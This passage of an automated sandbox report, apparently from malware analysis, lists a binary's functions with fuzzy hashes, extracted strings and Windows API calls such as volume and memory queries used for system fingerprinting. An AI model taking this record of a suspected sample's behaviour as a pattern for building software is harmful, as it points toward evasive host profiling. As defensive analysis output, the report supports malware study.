Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268c98c85da4051b46d015d8cbea3ddfc8e947e8fbb51f9137d1a706fb42e9e3
Instruction ID: 059ebe6e20058286cd5438aa4acca777a5b6ee9f9b4d393cc14c10c178477fba
Opcode Fuzzy Hash: 268c98c85da4051b46d015d8cbea3ddfc8e947e8fbb51f9137d1a706fb42e9e3
Instruction Fuzzy Hash: 39C121B1914B008BD72ACF20C8A4767BBF2FF45314F044A1DE9A74BAA1D774F50A9B84

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1DE0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d69aadf384f052bd0e28443a193aeabefc51adb3483ffb55fe9f0ea0e789a18
Instruction ID: 6a65ea353912f86335ce1f13e6edda627a8c336354e125ad3ecd23895b72fa55
Opcode Fuzzy Hash: 3d69aadf384f052bd0e28443a193aeabefc51adb3483ffb55fe9f0ea0e789a18
Instruction Fuzzy Hash: 1B81DB71608301ABE714DF15C895BABBBE1FBC4394F448A1CF58487291C776EA05EF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F9601F Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee8ce6f22f61b4fc845eeb3d4ed4da8d719368f7f327c341f67673a501f67e19
Instruction ID: 47a1bca5e38e16bdc42c4102943822d103f7f294deb46c3d8af9459305b3b147
Opcode Fuzzy Hash: ee8ce6f22f61b4fc845eeb3d4ed4da8d719368f7f327c341f67673a501f67e19
Instruction Fuzzy Hash: B041E1B1E082108BEB25DF24C88176BB3E5FF85764F194A2DE895C7362EB349841DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F95470 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc255bd21599fe8264130b127c9d60593a40d14e429106b9bfcf735fc031383e
Instruction ID: cd9ffb60f93c10434c47fac7d70f2ba0956c8755cc6819adc59ca0751c1415b7
Opcode Fuzzy Hash: fc255bd21599fe8264130b127c9d60593a40d14e429106b9bfcf735fc031383e
Instruction Fuzzy Hash: 9251F4756083408BD720DF24C891BAB77E5FF86724F444A1CF99A9B3D2DB349905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FB63FF Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4fa147ada246e41d876f3b15a62eb489d9748aeda6240afbbdd2ddc2d50211b
Instruction ID: 6684864437d91d6c639248eb05bfa96b9add17d871ab983cc4c14cec022a9a2f
Opcode Fuzzy Hash: a4fa147ada246e41d876f3b15a62eb489d9748aeda6240afbbdd2ddc2d50211b
Instruction Fuzzy Hash: E4216B70608341ABE310CF15CA85F1BB7E2FBC5B14F24491CE5849B282C379EC05AF96

Uniqueness

Uniqueness Score: -1.00%

Function 00FB62F2 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62e52f41274711467e86e56ba67b4dd0a87646d8d8e8aa5d6a2d479d166fd40b
Instruction ID: 8366567675f06079df67091fe0f540c3c9d25250582ac3c60cda0645bf01ec12
Opcode Fuzzy Hash: 62e52f41274711467e86e56ba67b4dd0a87646d8d8e8aa5d6a2d479d166fd40b
Instruction Fuzzy Hash: 1F215870608302ABD708DF19C960B6EB7E2BBC5718F58891CE18587292C779ED15AF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F95340 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9143b33fa9515cb53816de30f74ab1f77f93c5da3324ad4cadf90db0a4862a
Instruction ID: 5f730063c8cb044015751623dfb9ce121136fc3cfc7563e556c7713f2103b1bc
Opcode Fuzzy Hash: dd9143b33fa9515cb53816de30f74ab1f77f93c5da3324ad4cadf90db0a4862a
Instruction Fuzzy Hash: 27C04C669580449B8608FB18AC9657572B86657388B853538D507D3263DB14D41AAA0A

Uniqueness

Uniqueness Score: -1.00%

Function 00FB1B85 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00FB1BD1

Strings

:, xrefs: 00FB1B8C
\, xrefs: 00FB1B96
C, xrefs: 00FB1B85

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: cf036b49bfd10814c22892d9236bee675d7212d57904a7532a943b9759f7c3a4
Instruction ID: 51f00284f0db7f2aaaf3e21a587ef6bd4816a73cad970fefb73b9ac856ea6d76
Opcode Fuzzy Hash: cf036b49bfd10814c22892d9236bee675d7212d57904a7532a943b9759f7c3a4
Instruction Fuzzy Hash: 74F08235258302B6E714DF10DC27F1A36E4EF80744F10981DF256AB2E0D7B5A618DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00FB5242 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00FB52E6

Strings

NA, xrefs: 00FB5270

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: NA
API String ID: 1029625771-788005234
Opcode ID: d5820504628a5117ffa299460fd178084bd472bbb1e65e5d6c7d585deb9bfb11
Instruction ID: 18b7bfe1156912cca6fd3cfe9a73323a28beea823fb11572fe5f2a59a549ab96
Opcode Fuzzy Hash: d5820504628a5117ffa299460fd178084bd472bbb1e65e5d6c7d585deb9bfb11
Instruction Fuzzy Hash: 0D2138B02156408FDB18CF21D4A5B67BBB2EF41314F29855CC8564FB8AD738D504CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00FB5314 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00FB5391

Strings

AFG, xrefs: 00FB533B

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: AFG
API String ID: 1029625771-345823793
Opcode ID: 33ce1b56c67936d23961793b228ce5e77c41af187e4d30943ba8d81de8d2a29e
Instruction ID: b0fcd6ae249c893a990ebc7587fd14e9a63dace789e3b78931a484874f944674
Opcode Fuzzy Hash: 33ce1b56c67936d23961793b228ce5e77c41af187e4d30943ba8d81de8d2a29e
Instruction Fuzzy Hash: 7E01B3B4100A46AFD3198F16C8A5B66FBB2FB46324F24CA09C46617B45C778B565CF88

Uniqueness

Uniqueness Score: -1.00%

Function 00F88EC0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 00F88EF5

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 0-4175449110
Opcode ID: 8b423c7712c501fc915d95c00f5f81ad1edb0d08aa4158e5d9db75f3d8d9ba41
Instruction ID: 727a48b5895645273258ebfbb15800c5c4ade37acae6b801e2867f5ffc99ab8c
Opcode Fuzzy Hash: 8b423c7712c501fc915d95c00f5f81ad1edb0d08aa4158e5d9db75f3d8d9ba41
Instruction Fuzzy Hash: 2CF0E971C042048AD6617BB59E077DE3B9DAF51390F900526FAC052101EF3C940777E3

Uniqueness

Uniqueness Score: -1.00%

Function 00FA5D6F Relevance: 1.8, APIs: 1, Instructions: 340COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00FA607F

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 40fe9033c2795003fec3b102425f240fca7d41cea86431e6d100fb09672219e9
Instruction ID: 7d6614fc47bed1c150b5230db5fe65a624eed5d28543676c5fe6821352d82239
Opcode Fuzzy Hash: 40fe9033c2795003fec3b102425f240fca7d41cea86431e6d100fb09672219e9
Instruction Fuzzy Hash: BAC159B0504B808BDB26CF39C4A47E7BBE1BF16304F48495ED4EB9B692C739A406DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3883 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00FB392C

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 02881a45c3aac6ef7fa323eefdec9e5721d67634718ec3ff71cf2df54452411b
Instruction ID: df2b9ae4042fb0edc4a9edcd1b3361bb4472db519e5cdd4cc48ded0fb3ce1501
Opcode Fuzzy Hash: 02881a45c3aac6ef7fa323eefdec9e5721d67634718ec3ff71cf2df54452411b
Instruction Fuzzy Hash: 1A419E702447058FD715CF19C895B167BA2EF46328F28C59CD8A94B796C376E847DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00FA9654 Relevance: 1.6, APIs: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00FA9734

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 48386665c13051ff6141411a50d147d1fdd5bc1b185d70bce34b0cf26cf0670f
Instruction ID: 8447fc36beacc7224f03dd19462e3af87d4e50c35a586bd22c240060ba2d5272
Opcode Fuzzy Hash: 48386665c13051ff6141411a50d147d1fdd5bc1b185d70bce34b0cf26cf0670f
Instruction Fuzzy Hash: 0841E670108B829ED311CF28C598756FFE1BF56304F44869CD0A98BB92C3B9B569DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3A31 Relevance: 1.6, APIs: 1, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00FB3ACF

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2157df6b184c63749fb7fc6f40223f53d763e1ed57ce3cd7fc5d3fe4088c3641
Instruction ID: 71f49068cee8ef6f9ca09246517107fea20558122bf85ae5631a8e19a91913a8
Opcode Fuzzy Hash: 2157df6b184c63749fb7fc6f40223f53d763e1ed57ce3cd7fc5d3fe4088c3641
Instruction Fuzzy Hash: 4D21D735A097808FD3128F15DC916867BB3EFC632931EC4AEC0D697A67C539680BCB10

Uniqueness

Uniqueness Score: -1.00%

Function 00FB5145 Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00FB5214

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f56628769e82468b85d04ded1c65c2cfc3f9d1fd1f9b2ef9a2a587132431377
Instruction ID: 7864be0d59bd27516c76ba0ecbac3e5767579b5c90e23e990f9b447809b638c7
Opcode Fuzzy Hash: 8f56628769e82468b85d04ded1c65c2cfc3f9d1fd1f9b2ef9a2a587132431377
Instruction Fuzzy Hash: 5221DEB0505304AFCB28EF21EDA2B167FA2EB46301B08C59CDC568B76AE335D910DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FB583D Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00FB58F0

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 182ac43d37cc6d115b87c164f17fc782fec4b03b01d0ae0a49780f9a97b21726
Instruction ID: 762ae123d71a74caa426f823df028a71229f622f2090cb04c2410269a222ad65
Opcode Fuzzy Hash: 182ac43d37cc6d115b87c164f17fc782fec4b03b01d0ae0a49780f9a97b21726
Instruction Fuzzy Hash: CE1104716093409FD708CF15D4A4BABBBE2FBD8319F24895DE49A47280C735D905CF82

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F894F0 Relevance: 11.6, Strings: 9, Instructions: 315COMMON

Download Yara Rule

Strings

tosJ, xrefs: 00F89556
@e, xrefs: 00F89713
jzy{, xrefs: 00F89535
azbc, xrefs: 00F89540
4;Ox, xrefs: 00F8969B
R|`, xrefs: 00F8951F
iJ0G, xrefs: 00F8968B
3@O@, xrefs: 00F89693
bjXX, xrefs: 00F89683

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 3@O@$4;Ox$@e$R|`$azbc$bjXX$iJ0G$jzy{$tosJ
API String ID: 0-792757147
Opcode ID: d7dd0e96cb0ac353678dc613c577d74b776eafa1f1cfff1ed33521f98c02ad47
Instruction ID: 1ec994b666ad1432e0fc3b4a69abdfc2ad4f9e7ac5afa638aa7611fae3a0ecd8
Opcode Fuzzy Hash: d7dd0e96cb0ac353678dc613c577d74b776eafa1f1cfff1ed33521f98c02ad47
Instruction Fuzzy Hash: 97B126B050C3818FD725CF19C0907ABBBE1BF96314F18895DE4E59B382C775890ADB96

Uniqueness

Uniqueness Score: -1.00%

Function 01109F81 Relevance: 8.5, Strings: 6, Instructions: 982COMMON

Download Yara Rule

Strings

D, xrefs: 012B8105
f, xrefs: 012B810D
!, xrefs: 012B8F70
], xrefs: 0110049E
~|$, xrefs: 010722C8
>, xrefs: 01100482

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$>$D$]$f$~|$
API String ID: 0-2214979465
Opcode ID: f46255cb027a7594b0fab97677140fc96254858b85c05458dfa9671858d2f22e
Instruction ID: eba4c7709c5d7174b38292b2e03f08529189c84a8c4c44593218a50cb55c21dc
Opcode Fuzzy Hash: f46255cb027a7594b0fab97677140fc96254858b85c05458dfa9671858d2f22e
Instruction Fuzzy Hash: C062B832618B168BC71DEE6898850F6B3D2EBD6321F60872EC5D7C71E1DB3664178B81

Uniqueness

Uniqueness Score: -1.00%

Function 0119D0CA Relevance: 6.6, Strings: 5, Instructions: 369COMMON

Download Yara Rule

Strings

4, xrefs: 01060C07
U, xrefs: 0119D10C
b, xrefs: 012BD822
#, xrefs: 01088FCD
#, xrefs: 01088FC0

Memory Dump Source

